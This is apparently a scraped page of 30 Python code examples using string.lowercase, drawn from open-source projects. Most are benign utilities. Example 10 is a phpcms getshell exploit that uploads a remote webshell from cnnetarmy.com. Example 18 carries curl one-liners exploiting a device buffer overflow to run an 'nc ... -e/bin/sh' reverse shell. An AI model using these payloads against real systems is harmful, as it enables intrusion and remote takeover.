Python string.lowercase() Examples

The following are 30 code examples for showing how to use string.lowercase(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module string , or try the search function .

Example 1
Project: OpenMTC   Author: OpenMTC   File: parsers.py    License: Eclipse Public License 1.0 6 votes vote down vote up
def int2base(x, base):
        import string

        digs = string.digits + string.lowercase
        if x < 0:
            sign = -1
        elif x == 0:
            return '0'
        else:
            sign = 1
        x *= sign
        digits = []
        while x:
            digits.append(digs[x % base])
            x /= base
        if sign < 0:
            digits.append('-')
        digits.reverse()
        return ''.join(digits) 
Example 2
Project: phpsploit   Author: nil0x42   File: httpServerLogParser.py    License: GNU General Public License v3.0 6 votes vote down vote up
def getLogLineBNF():
    global logLineBNF
    
    if logLineBNF is None:
        integer = Word( nums )
        ipAddress = delimitedList( integer, ".", combine=True )
        
        timeZoneOffset = Word("+-",nums)
        month = Word(string.uppercase, string.lowercase, exact=3)
        serverDateTime = Group( Suppress("[") + 
                                Combine( integer + "/" + month + "/" + integer +
                                        ":" + integer + ":" + integer + ":" + integer ) +
                                timeZoneOffset + 
                                Suppress("]") )
                         
        logLineBNF = ( ipAddress.setResultsName("ipAddr") + 
                       Suppress("-") +
                       ("-" | Word( alphas+nums+"@._" )).setResultsName("auth") +
                       serverDateTime.setResultsName("timestamp") + 
                       dblQuotedString.setResultsName("cmd").setParseAction(getCmdFields) +
                       (integer | "-").setResultsName("statusCode") + 
                       (integer | "-").setResultsName("numBytesSent")  + 
                       dblQuotedString.setResultsName("referrer").setParseAction(removeQuotes) +
                       dblQuotedString.setResultsName("clientSfw").setParseAction(removeQuotes) )
    return logLineBNF 
Example 3
Project: oss-ftp   Author: aliyun   File: texi2html.py    License: MIT License 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example 4
Project: hask   Author: billpmurphy   File: syntax.py    License: BSD 2-Clause "Simplified" License 6 votes vote down vote up
def __call__(self, *typeargs):
        if len(typeargs) < 1:
            msg = "Missing type args in statement: `data.%s()`" % self.name
            raise SyntaxError(msg)

        # make sure all type params are strings
        if not all((type(arg) == str for arg in typeargs)):
            raise SyntaxError("Type parameters must be strings")

        # make sure all type params are letters only
        is_letters = lambda xs: all((x in string.lowercase for x in xs))
        if not all((is_letters(arg) for arg in typeargs)):
            raise SyntaxError("Type parameters must be lowercase letters")

        # all type parameters must have unique names
        if len(typeargs) != len(set(typeargs)):
            raise SyntaxError("Type parameters are not unique")

        return __new_tcon_hkt__(self.name, typeargs) 
Example 5
Project: yaql   Author: openstack   File: strings.py    License: Apache License 2.0 6 votes vote down vote up
def to_lower(string):
    """:yaql:toLower

    Returns a string with all case-based characters lowercase.

    :signature: string.toLower()
    :receiverArg string: value to lowercase
    :argType string: string
    :returnType: string

    .. code::

        yaql> "AB1c".toLower()
        "ab1c"
    """
    return string.lower() 
Example 6
Project: security-scripts   Author: Und3rf10w   File: pattern.py    License: GNU General Public License v2.0 6 votes vote down vote up
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
Example 7
Project: code   Author: ActiveState   File: recipe-578396.py    License: MIT License 6 votes vote down vote up
def main(argv):

	if (len(sys.argv) != 5):
		sys.exit('Usage: simple_pass.py <upper_case> <lower_case> <digit> <special_characters>')
    
	password = ''
	
	for i in range(len(argv)):
		for j in range(int(argv[i])):
			if i == 0:
				password += string.uppercase[random.randint(0,len(string.uppercase)-1)]
			elif i == 1:
				password += string.lowercase[random.randint(0,len(string.lowercase)-1)]
			elif i == 2:
				password += string.digits[random.randint(0,len(string.digits)-1)]
			elif i == 3:
				password += string.punctuation[random.randint(0,len(string.punctuation)-1)]
	
	print 'You new password is: ' + ''.join(random.sample(password,len(password))) 
Example 8
Project: libvirt-test-API   Author: libvirt   File: dir_vol_download.py    License: GNU General Public License v2.0 6 votes vote down vote up
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %s data into file %s" % (capacity, path))
    out = utils.get_capacity_suffix_size(capacity)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    repeat = int(out['capacity_byte'] / 64)
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
Example 9
Project: datafari   Author: francelabs   File: texi2html.py    License: Apache License 2.0 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example 10
Project: PocCollect   Author: nanshihui   File: phpcms_v9_6.py    License: MIT License 6 votes vote down vote up
def getshell(self,host):
        try:
            url = '%s/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1' % host
            flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
            flags = ''.join([random.choice(string.digits) for _ in range(8)])
            headers = {
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Upgrade-Insecure-Requests':'1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'}
            data = "siteid=1&amp;modelid=11&amp;username={}&amp;password=ad{}min&amp;email={}@cnnetarmy.com&amp;info%5Bcontent%5D=%3Cimg%20src=http://www.cnnetarmy.com/soft/shell.txt?.php#.jpg&gt;&amp;dosubmit=1&amp;protocol=".format(flag,flags,flag)
            r = requests.post(url=url,headers=headers,data=data,timeout=5)
            #print r.content
            shell_path = re.findall(r'lt;img src=(.*?)&gt;',str(r.content))[0]
            print '[*] shell: %s  | pass is: cmd' % shell_path
            with open('sql_ok.txt','a')as tar:
                tar.write(shell_path)
                tar.write('\n')
        except:
            print 'requests error.'
            pass 
Example 11
Project: stdm   Author: gltn   File: common.py    License: GNU General Public License v2.0 6 votes vote down vote up
def computeSize(self, *args):
        barWidth = self.barWidth
        oa, oA = ord('a') - 1, ord('A') - 1

        w = 0.0

        for c in self.decomposed:
            oc = ord(c)
            if c in string.lowercase:
                w = w + barWidth * (oc - oa)
            elif c in string.uppercase:
                w = w + barWidth * (oc - oA)

        if self.barHeight is None:
            self.barHeight = w * 0.15
            self.barHeight = max(0.25 * inch, self.barHeight)

        if self.quiet:
            w += self.lquiet + self.rquiet

        self._height = self.barHeight
        self._width = w 
Example 12
Project: apt2   Author: tatanus   File: utils.py    License: MIT License 5 votes vote down vote up
def getRandStr(length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 13
Project: ironpython2   Author: IronLanguages   File: test_string.py    License: Apache License 2.0 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 14
def path_and_rename(path):
        def wrapper(instance, filename):
            ext = filename.split('.')[-1]
            f_name = '-'.join(filename.replace('.pdf', '').split() )
            rand_strings = ''.join( random.choice(string.lowercase+string.digits) for i in range(10) )
            filename = '{}_{}{}.{}'.format(f_name, rand_strings, uuid4().hex, ext)
            return os.path.join(path, filename)
        return wrapper

    # Please comment `validators=[pdf_validator]` before migrate/makemigrations your database.
    # For more: https://docs.djangoproject.com/en/1.9/topics/migrations/#serializing-values 
Example 15
Project: daf-recipes   Author: italia   File: test_tags.py    License: GNU General Public License v3.0 5 votes vote down vote up
def _make_tag_list(n=26):
    '''Returns a list of tag dicts, starting with 'aa, bb, ..., zz', then
    'aaa, bbb, ..., zzz', etc. Tags must be at least 2 characters.'''
    lc = string.lowercase
    lc_len = len(lc)
    return [{'name': lc[i % lc_len] * int(math.ceil(i / lc_len) + 2)}
            for i in range(0, n)] 
Example 16
Project: BinderFilter   Author: dxwu   File: test_string.py    License: MIT License 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 17
Project: pyx   Author: pyx-project   File: textboxes.py    License: GNU General Public License v2.0 5 votes vote down vote up
def randpar():
    return " ".join(["".join([random.choice(string.lowercase)
                              for j in range(random.randint(1, 3))])
                     for i in range(random.randint(100, 300))]) 
Example 18
Project: PoC   Author: mcw0   File: LifeSafetyPower-Netlink-PoC.py    License: The Unlicense 5 votes vote down vote up
def random_string(self,length):
		self.length = length

#		return 'A' * self.length
		return ''.join(random.choice(string.lowercase) for i in range(self.length))

	#
	# Access: Anonymous
	#
	# This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well.
	# However, PoC are made only for latest version!
	#
	# The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode,
	# usally used quite early and before any validation has been done.
	# 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system()
	#
	# Most binaries are vulnerable with simple GET call, but few are vulnerable with POST.
	#
	# Very simple and reliable exploitation.
	#
	# Since there is sh1tload of system() pooped around in the binaries, I thought it would be fun to include all vulnerable binaries into
	# a random selection of CGI binary and random selection of system() (You're welcome)
	#
	#
	# Simple curl examples
	#
	# GET
	# curl "http://192.168.57.20/BTM_1.cgi?$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00%23`for((i=0;i<1996;i++));do echo -en "B";done`%8c%31%01%00" -H "Cookie: viewnavi=yes; right=1"
	#
	# POST
	# curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00`for((i=0;i<1997;i++));do echo -en "B";done`%c0%93%00%00" 
Example 19
Project: oss-ftp   Author: aliyun   File: test_string.py    License: MIT License 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 20
Project: featherduster   Author: nccgroup   File: helpers.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def make_polybius_square(password,extended=False):
   '''
   Polybius square generator. Returns a list of strings of equal
   length, either 5x5 or 6x6 depending on whether extended
   Polybius mode is on. Assumes I/J are represented as one letter

   password - (string) The password to use when generating the polybius square
   extended - (bool) Set to True to use a 6x6 square instead of a 5x5
   '''
   alphabet = string.lowercase
   if extended == True:
      alphabet += string.digits
   else:
      alphabet = string.replace(string.lowercase, 'j', '')
      password = string.replace(password, 'j', 'i')
   if any([x not in alphabet for x in set(password)]):
      return False
   unique_letters = []
   for letter in password:
      if letter not in unique_letters:
         unique_letters.append(letter)
   for letter in unique_letters:
      alphabet = string.replace(alphabet, letter, '')
   for letter in unique_letters[::-1]:
      alphabet = letter + alphabet
   ps = []
   alphabet_len = len(alphabet)
   grid_size = 5 + int(extended) # Not necessary, but looks cleaner
   for index in xrange(0,alphabet_len,grid_size):
      ps.append(alphabet[index:index+grid_size])
   return ps 
Example 21
Project: featherduster   Author: nccgroup   File: classical.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def morse_encode(text, dot='.', dash='-', space=' '):
   '''
   Encodes text into Morse code.
   '''
   dot_dash_trans = string.maketrans('.-', dot+dash)
   translated_morse_table = map(lambda (x,y): (x, string.translate(y, dot_dash_trans)), morse_table.items())
   translated_morse_table = dict(translated_morse_table)
   output = []
   for char in text.lower():
      if char in string.lowercase + string.digits:
         output.append(translated_morse_table[char])
   return space.join(output) 
Example 22
Project: featherduster   Author: nccgroup   File: classical.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def break_alpha_shift(ciphertext, num_answers=1):
   '''Call generic shift cipher breaker with lowercase letters'''
   return break_generic_shift(ciphertext.lower(), string.lowercase, num_answers=num_answers) 
Example 23
Project: featherduster   Author: nccgroup   File: create_alpha_shift.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def alpha_shift(plaintext, key):
   ciphertext = ''
   for char in plaintext.lower():
      if char in string.lowercase:
         ciphertext += string.lowercase[(string.lowercase.find(char)+key)%26]
      else:
         ciphertext += char
   return ciphertext 
Example 24
Project: Mr.SIP   Author: meliht   File: sip_packet.py    License: GNU General Public License v3.0 5 votes vote down vote up
def get_rand_call_id():
        prefix = ''.join(random.sample(string.digits + string.lowercase, 27))
        return "{0}{1}".format(str(prefix), str(random.randrange(10000, 99999))) 
Example 25
Project: community-edition-setup   Author: GluuFederation   File: import3031.py    License: MIT License 5 votes vote down vote up
def getPW(size=12, chars=string.ascii_uppercase + string.digits + string.lowercase):
        return ''.join(random.choice(chars) for _ in range(size)) 
Example 26
Project: community-edition-setup   Author: GluuFederation   File: import2431.py    License: MIT License 5 votes vote down vote up
def getPW(size=12, chars=string.ascii_uppercase + string.digits + string.lowercase):
        return ''.join(random.choice(chars) for _ in range(size)) 
Example 27
Project: community-edition-setup   Author: GluuFederation   File: openldap2opendj.py    License: MIT License 5 votes vote down vote up
def getPW(self, size=12, chars=string.ascii_uppercase + string.digits + string.lowercase):
        return ''.join(random.choice(chars) for _ in range(size)) 
Example 28
Project: pydatalab   Author: googledatalab   File: storage_test.py    License: Apache License 2.0 5 votes vote down vote up
def setUp(self):
    self._context = google.datalab.Context.default()
    logging.info('Using project: %s', self._context.project_id)

    suffix = ''.join(random.choice(string.lowercase) for _ in range(8))
    self._test_bucket_name = '{}-{}'.format(self._context.project_id, suffix)
    logging.info('test bucket: %s', self._test_bucket_name) 
Example 29
Project: aamo   Author: necst   File: util.py    License: MIT License 5 votes vote down vote up
def get_random(mixed_type, str_len):  # Get a random string of strLen lenght
    type_random = string.letters  # Mixedcase Letter
    if not mixed_type:
        type_random = string.lowercase  # Lowercase letter
    return ''.join(random.sample(type_random, str_len)) 
Example 30
Project: Umbrella   Author: 4w4k3   File: umbrella.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def randomword(length):
   return ''.join(random.choice(string.lowercase) for i in range(length))